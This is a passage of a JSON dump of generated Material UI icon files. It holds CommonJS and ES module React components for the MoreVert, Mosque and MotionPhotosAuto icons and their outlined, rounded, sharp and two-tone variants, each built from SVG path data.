    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.06 5 2.4 12l4.67 7H22V5zq.015 0 0 0M19 10.5c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5-1.5-.67-1.5-1.5.67-1.5 1.5-1.5m-5 0c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5-1.5-.67-1.5-1.5.67-1.5 1.5-1.5m-5 0c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5-1.5-.67-1.5-1.5.67-1.5 1.5-1.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 3H7c-.69 0-1.23.35-1.59.88L0 12l5.41 8.11c.36.53.97.89 1.66.89H22c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H7.07L2.4 12l4.66-7H22z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"12\",\n  r: \"1.5\"\n}, \"2\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"14\",\n  cy: \"12\",\n  r: \"1.5\"\n}, \"3\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"19\",\n  cy: \"12\",\n  r: \"1.5\"\n}, \"4\")], 'MoreTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoreVert.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 8c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m0 2c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m0 6c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2\"\n}), 'MoreVert');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoreVert.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 8c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m0 2c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m0 6c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2\"\n}), 'MoreVert');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoreVertOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 8c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m0 2c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m0 6c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2\"\n}), 'MoreVertOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoreVertOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 8c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m0 2c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m0 6c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2\"\n}), 'MoreVertOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoreVertRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 8c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m0 2c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m0 6c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2\"\n}), 'MoreVertRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoreVertRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 8c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m0 2c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m0 6c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2\"\n}), 'MoreVertRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoreVertSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 8c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m0 2c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m0 6c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2\"\n}), 'MoreVertSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoreVertSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 8c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m0 2c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m0 6c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2\"\n}), 'MoreVertSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoreVertTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 8c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m0 2c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m0 6c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2\"\n}), 'MoreVertTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoreVertTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 8c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m0 2c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m0 6c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2\"\n}), 'MoreVertTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Mosque.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 8h10c.29 0 .57.06.84.13.09-.33.16-.67.16-1.04 0-1.31-.65-2.53-1.74-3.25L12 1 7.74 3.84C6.65 4.56 6 5.78 6 7.09c0 .37.07.71.16 1.04.27-.07.55-.13.84-.13\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M24 7c0-1.1-2-3-2-3s-2 1.9-2 3c0 .74.4 1.38 1 1.72V13h-2v-2c0-1.1-.9-2-2-2H7c-1.1 0-2 .9-2 2v2H3V8.72c.6-.34 1-.98 1-1.72 0-1.1-2-3-2-3S0 5.9 0 7c0 .74.4 1.38 1 1.72V21h9v-4c0-1.1.9-2 2-2s2 .9 2 2v4h9V8.72c.6-.34 1-.98 1-1.72\"\n}, \"1\")], 'Mosque');"
  },
  {
    "path": "packages/mui-icons-material/lib/Mosque.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 8h10c.29 0 .57.06.84.13.09-.33.16-.67.16-1.04 0-1.31-.65-2.53-1.74-3.25L12 1 7.74 3.84C6.65 4.56 6 5.78 6 7.09c0 .37.07.71.16 1.04.27-.07.55-.13.84-.13\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M24 7c0-1.1-2-3-2-3s-2 1.9-2 3c0 .74.4 1.38 1 1.72V13h-2v-2c0-1.1-.9-2-2-2H7c-1.1 0-2 .9-2 2v2H3V8.72c.6-.34 1-.98 1-1.72 0-1.1-2-3-2-3S0 5.9 0 7c0 .74.4 1.38 1 1.72V21h9v-4c0-1.1.9-2 2-2s2 .9 2 2v4h9V8.72c.6-.34 1-.98 1-1.72\"\n}, \"1\")], 'Mosque');"
  },
  {
    "path": "packages/mui-icons-material/lib/MosqueOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M24 7c0-1.1-2-3-2-3s-2 1.9-2 3c0 .74.4 1.38 1 1.72V13h-2v-2c0-.95-.66-1.74-1.55-1.94.34-.58.55-1.25.55-1.97 0-1.31-.65-2.53-1.74-3.25L12 1 7.74 3.84C6.65 4.56 6 5.78 6 7.09c0 .72.21 1.39.55 1.96C5.66 9.26 5 10.05 5 11v2H3V8.72c.6-.34 1-.98 1-1.72 0-1.1-2-3-2-3S0 5.9 0 7c0 .74.4 1.38 1 1.72V21h10v-4c0-.55.45-1 1-1s1 .45 1 1v4h10V8.72c.6-.34 1-.98 1-1.72M8.85 5.5 12 3.4l3.15 2.1c.53.36.85.95.85 1.59C16 8.14 15.14 9 14.09 9H9.91C8.86 9 8 8.14 8 7.09c0-.64.32-1.23.85-1.59M21 19h-6v-2c0-1.65-1.35-3-3-3s-3 1.35-3 3v2H3v-4h4v-4h10v4h4z\"\n}), 'MosqueOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MosqueOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M24 7c0-1.1-2-3-2-3s-2 1.9-2 3c0 .74.4 1.38 1 1.72V13h-2v-2c0-.95-.66-1.74-1.55-1.94.34-.58.55-1.25.55-1.97 0-1.31-.65-2.53-1.74-3.25L12 1 7.74 3.84C6.65 4.56 6 5.78 6 7.09c0 .72.21 1.39.55 1.96C5.66 9.26 5 10.05 5 11v2H3V8.72c.6-.34 1-.98 1-1.72 0-1.1-2-3-2-3S0 5.9 0 7c0 .74.4 1.38 1 1.72V21h10v-4c0-.55.45-1 1-1s1 .45 1 1v4h10V8.72c.6-.34 1-.98 1-1.72M8.85 5.5 12 3.4l3.15 2.1c.53.36.85.95.85 1.59C16 8.14 15.14 9 14.09 9H9.91C8.86 9 8 8.14 8 7.09c0-.64.32-1.23.85-1.59M21 19h-6v-2c0-1.65-1.35-3-3-3s-3 1.35-3 3v2H3v-4h4v-4h10v4h4z\"\n}), 'MosqueOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MosqueRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 8h10c.29 0 .57.06.84.13.09-.33.16-.67.16-1.04 0-1.31-.65-2.53-1.74-3.25L12 1 7.74 3.84C6.65 4.56 6 5.78 6 7.09c0 .37.07.71.16 1.04.27-.07.55-.13.84-.13\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M24 7c0-1.1-2-3-2-3s-2 1.9-2 3c0 .74.4 1.38 1 1.72V13h-2v-2c0-1.1-.9-2-2-2H7c-1.1 0-2 .9-2 2v2H3V8.72c.6-.34 1-.98 1-1.72 0-1.1-2-3-2-3S0 5.9 0 7c0 .74.4 1.38 1 1.72V21h9v-4c0-1.1.9-2 2-2s2 .9 2 2v4h9V8.72c.6-.34 1-.98 1-1.72\"\n}, \"1\")], 'MosqueRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MosqueRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 8h10c.29 0 .57.06.84.13.09-.33.16-.67.16-1.04 0-1.31-.65-2.53-1.74-3.25L12 1 7.74 3.84C6.65 4.56 6 5.78 6 7.09c0 .37.07.71.16 1.04.27-.07.55-.13.84-.13\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M24 7c0-1.1-2-3-2-3s-2 1.9-2 3c0 .74.4 1.38 1 1.72V13h-2v-2c0-1.1-.9-2-2-2H7c-1.1 0-2 .9-2 2v2H3V8.72c.6-.34 1-.98 1-1.72 0-1.1-2-3-2-3S0 5.9 0 7c0 .74.4 1.38 1 1.72V21h9v-4c0-1.1.9-2 2-2s2 .9 2 2v4h9V8.72c.6-.34 1-.98 1-1.72\"\n}, \"1\")], 'MosqueRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MosqueSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.12 8h11.76m0 0c.07-.29.12-.59.12-.91 0-1.31-.65-2.53-1.74-3.25L12 1 7.74 3.84C6.65 4.56 6 5.78 6 7.09c0 .32.05.62.12.91\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M24 7c0-1.1-2-3-2-3s-2 1.9-2 3c0 .74.4 1.38 1 1.72V13h-2V9H5v4H3V8.72c.6-.34 1-.98 1-1.72 0-1.1-2-3-2-3S0 5.9 0 7c0 .74.4 1.38 1 1.72V21h9v-6h4v6h9V8.72c.6-.34 1-.98 1-1.72\"\n}, \"1\")], 'MosqueSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MosqueSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.12 8h11.76m0 0c.07-.29.12-.59.12-.91 0-1.31-.65-2.53-1.74-3.25L12 1 7.74 3.84C6.65 4.56 6 5.78 6 7.09c0 .32.05.62.12.91\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M24 7c0-1.1-2-3-2-3s-2 1.9-2 3c0 .74.4 1.38 1 1.72V13h-2V9H5v4H3V8.72c.6-.34 1-.98 1-1.72 0-1.1-2-3-2-3S0 5.9 0 7c0 .74.4 1.38 1 1.72V21h9v-6h4v6h9V8.72c.6-.34 1-.98 1-1.72\"\n}, \"1\")], 'MosqueSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MosqueTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.91 9h4.18C15.14 9 16 8.14 16 7.09c0-.64-.32-1.23-.85-1.59L12 3.4 8.85 5.5c-.53.36-.85.95-.85 1.59C8 8.14 8.86 9 9.91 9M17 11H7v4H3v4h6v-2c0-1.65 1.35-3 3-3s3 1.35 3 3v2h6v-4h-4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 4s-2 1.9-2 3c0 .74.4 1.38 1 1.72V13h-2v-2c0-.95-.66-1.74-1.55-1.94.34-.58.55-1.25.55-1.97 0-1.31-.65-2.53-1.74-3.25L12 1 7.74 3.84C6.65 4.56 6 5.78 6 7.09c0 .72.21 1.39.55 1.96C5.66 9.26 5 10.05 5 11v2H3V8.72c.6-.34 1-.98 1-1.72 0-1.1-2-3-2-3S0 5.9 0 7c0 .74.4 1.38 1 1.72V21h10v-4c0-.55.45-1 1-1s1 .45 1 1v4h10V8.72c.6-.35 1-.98 1-1.72 0-1.1-2-3-2-3M8.85 5.5 12 3.4l3.15 2.1c.53.36.85.95.85 1.59C16 8.14 15.14 9 14.09 9H9.91C8.86 9 8 8.14 8 7.09c0-.64.32-1.23.85-1.59M21 19h-6v-2c0-1.65-1.35-3-3-3s-3 1.35-3 3v2H3v-4h4v-4h10v4h4z\"\n}, \"1\")], 'MosqueTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MosqueTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.91 9h4.18C15.14 9 16 8.14 16 7.09c0-.64-.32-1.23-.85-1.59L12 3.4 8.85 5.5c-.53.36-.85.95-.85 1.59C8 8.14 8.86 9 9.91 9M17 11H7v4H3v4h6v-2c0-1.65 1.35-3 3-3s3 1.35 3 3v2h6v-4h-4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 4s-2 1.9-2 3c0 .74.4 1.38 1 1.72V13h-2v-2c0-.95-.66-1.74-1.55-1.94.34-.58.55-1.25.55-1.97 0-1.31-.65-2.53-1.74-3.25L12 1 7.74 3.84C6.65 4.56 6 5.78 6 7.09c0 .72.21 1.39.55 1.96C5.66 9.26 5 10.05 5 11v2H3V8.72c.6-.34 1-.98 1-1.72 0-1.1-2-3-2-3S0 5.9 0 7c0 .74.4 1.38 1 1.72V21h10v-4c0-.55.45-1 1-1s1 .45 1 1v4h10V8.72c.6-.35 1-.98 1-1.72 0-1.1-2-3-2-3M8.85 5.5 12 3.4l3.15 2.1c.53.36.85.95.85 1.59C16 8.14 15.14 9 14.09 9H9.91C8.86 9 8 8.14 8 7.09c0-.64.32-1.23.85-1.59M21 19h-6v-2c0-1.65-1.35-3-3-3s-3 1.35-3 3v2H3v-4h4v-4h10v4h4z\"\n}, \"1\")], 'MosqueTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MotionPhotosAuto.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m2.88 7.88 1.54 1.54C4.15 10.23 4 11.1 4 12c0 4.41 3.59 8 8 8s8-3.59 8-8-3.59-8-8-8c-.9 0-1.77.15-2.58.42L7.89 2.89C9.15 2.32 10.54 2 12 2c5.52 0 10 4.48 10 10s-4.48 10-10 10S2 17.52 2 12c0-1.47.32-2.86.88-4.12M7 5.5C7 6.33 6.33 7 5.5 7S4 6.33 4 5.5 4.67 4 5.5 4 7 4.67 7 5.5m5.03 3.49h-.07L10.8 12.3h2.39zM12 18c3.31 0 6-2.69 6-6s-2.69-6-6-6-6 2.69-6 6 2.69 6 6 6m-.71-10.5h1.43l3.01 8h-1.39l-.72-2.04h-3.23l-.73 2.04H8.28z\"\n}), 'MotionPhotosAuto');"
  },
  {
    "path": "packages/mui-icons-material/lib/MotionPhotosAuto.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m2.88 7.88 1.54 1.54C4.15 10.23 4 11.1 4 12c0 4.41 3.59 8 8 8s8-3.59 8-8-3.59-8-8-8c-.9 0-1.77.15-2.58.42L7.89 2.89C9.15 2.32 10.54 2 12 2c5.52 0 10 4.48 10 10s-4.48 10-10 10S2 17.52 2 12c0-1.47.32-2.86.88-4.12M7 5.5C7 6.33 6.33 7 5.5 7S4 6.33 4 5.5 4.67 4 5.5 4 7 4.67 7 5.5m5.03 3.49h-.07L10.8 12.3h2.39zM12 18c3.31 0 6-2.69 6-6s-2.69-6-6-6-6 2.69-6 6 2.69 6 6 6m-.71-10.5h1.43l3.01 8h-1.39l-.72-2.04h-3.23l-.73 2.04H8.28z\"\n}), 'MotionPhotosAuto');"
  },
  {
    "path": "packages/mui-icons-material/lib/MotionPhotosAutoOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m2.88 7.88 1.54 1.54C4.15 10.23 4 11.1 4 12c0 4.41 3.59 8 8 8s8-3.59 8-8-3.59-8-8-8c-.9 0-1.77.15-2.58.42L7.89 2.89C9.15 2.32 10.54 2 12 2c5.52 0 10 4.48 10 10s-4.48 10-10 10S2 17.52 2 12c0-1.47.32-2.86.88-4.12M7 5.5C7 6.33 6.33 7 5.5 7S4 6.33 4 5.5 4.67 4 5.5 4 7 4.67 7 5.5m5.03 3.49h-.07L10.8 12.3h2.39zm-.74-1.49h1.43l3.01 8h-1.39l-.72-2.04h-3.23l-.73 2.04H8.28z\"\n}), 'MotionPhotosAutoOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MotionPhotosAutoOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m2.88 7.88 1.54 1.54C4.15 10.23 4 11.1 4 12c0 4.41 3.59 8 8 8s8-3.59 8-8-3.59-8-8-8c-.9 0-1.77.15-2.58.42L7.89 2.89C9.15 2.32 10.54 2 12 2c5.52 0 10 4.48 10 10s-4.48 10-10 10S2 17.52 2 12c0-1.47.32-2.86.88-4.12M7 5.5C7 6.33 6.33 7 5.5 7S4 6.33 4 5.5 4.67 4 5.5 4 7 4.67 7 5.5m5.03 3.49h-.07L10.8 12.3h2.39zm-.74-1.49h1.43l3.01 8h-1.39l-.72-2.04h-3.23l-.73 2.04H8.28z\"\n}), 'MotionPhotosAutoOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MotionPhotosAutoRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 9c.26.26.34.63.25.98-.35 1.36-.36 2.87.1 4.38.88 2.91 3.44 5.1 6.44 5.55 5.52.81 10.19-4.06 9.03-9.62-.65-3.13-3.23-5.61-6.37-6.16-1.21-.21-2.38-.15-3.46.13-.35.09-.73 0-.98-.25-.56-.56-.28-1.49.47-1.69 1.47-.38 3.06-.44 4.7-.09 3.98.86 7.09 4.18 7.7 8.2 1.04 6.81-4.82 12.58-11.64 11.42-4.01-.69-7.26-3.86-8.04-7.85-.31-1.59-.24-3.12.12-4.53C2.52 8.72 3.45 8.45 4 9m3-3.5C7 6.33 6.33 7 5.5 7S4 6.33 4 5.5 4.67 4 5.5 4 7 4.67 7 5.5m5.03 3.49h-.07L10.8 12.3h2.39zM12 18c3.31 0 6-2.69 6-6s-2.69-6-6-6-6 2.69-6 6 2.69 6 6 6m-3.39-3.37 2.43-6.46c.15-.4.53-.67.96-.67s.82.27.97.67l2.43 6.46c.16.42-.15.87-.6.87-.27 0-.52-.17-.61-.43l-.56-1.61H10.4l-.57 1.62c-.09.26-.33.43-.61.43-.46-.01-.77-.46-.61-.88\"\n}), 'MotionPhotosAutoRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MotionPhotosAutoRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 9c.26.26.34.63.25.98-.35 1.36-.36 2.87.1 4.38.88 2.91 3.44 5.1 6.44 5.55 5.52.81 10.19-4.06 9.03-9.62-.65-3.13-3.23-5.61-6.37-6.16-1.21-.21-2.38-.15-3.46.13-.35.09-.73 0-.98-.25-.56-.56-.28-1.49.47-1.69 1.47-.38 3.06-.44 4.7-.09 3.98.86 7.09 4.18 7.7 8.2 1.04 6.81-4.82 12.58-11.64 11.42-4.01-.69-7.26-3.86-8.04-7.85-.31-1.59-.24-3.12.12-4.53C2.52 8.72 3.45 8.45 4 9m3-3.5C7 6.33 6.33 7 5.5 7S4 6.33 4 5.5 4.67 4 5.5 4 7 4.67 7 5.5m5.03 3.49h-.07L10.8 12.3h2.39zM12 18c3.31 0 6-2.69 6-6s-2.69-6-6-6-6 2.69-6 6 2.69 6 6 6m-3.39-3.37 2.43-6.46c.15-.4.53-.67.96-.67s.82.27.97.67l2.43 6.46c.16.42-.15.87-.6.87-.27 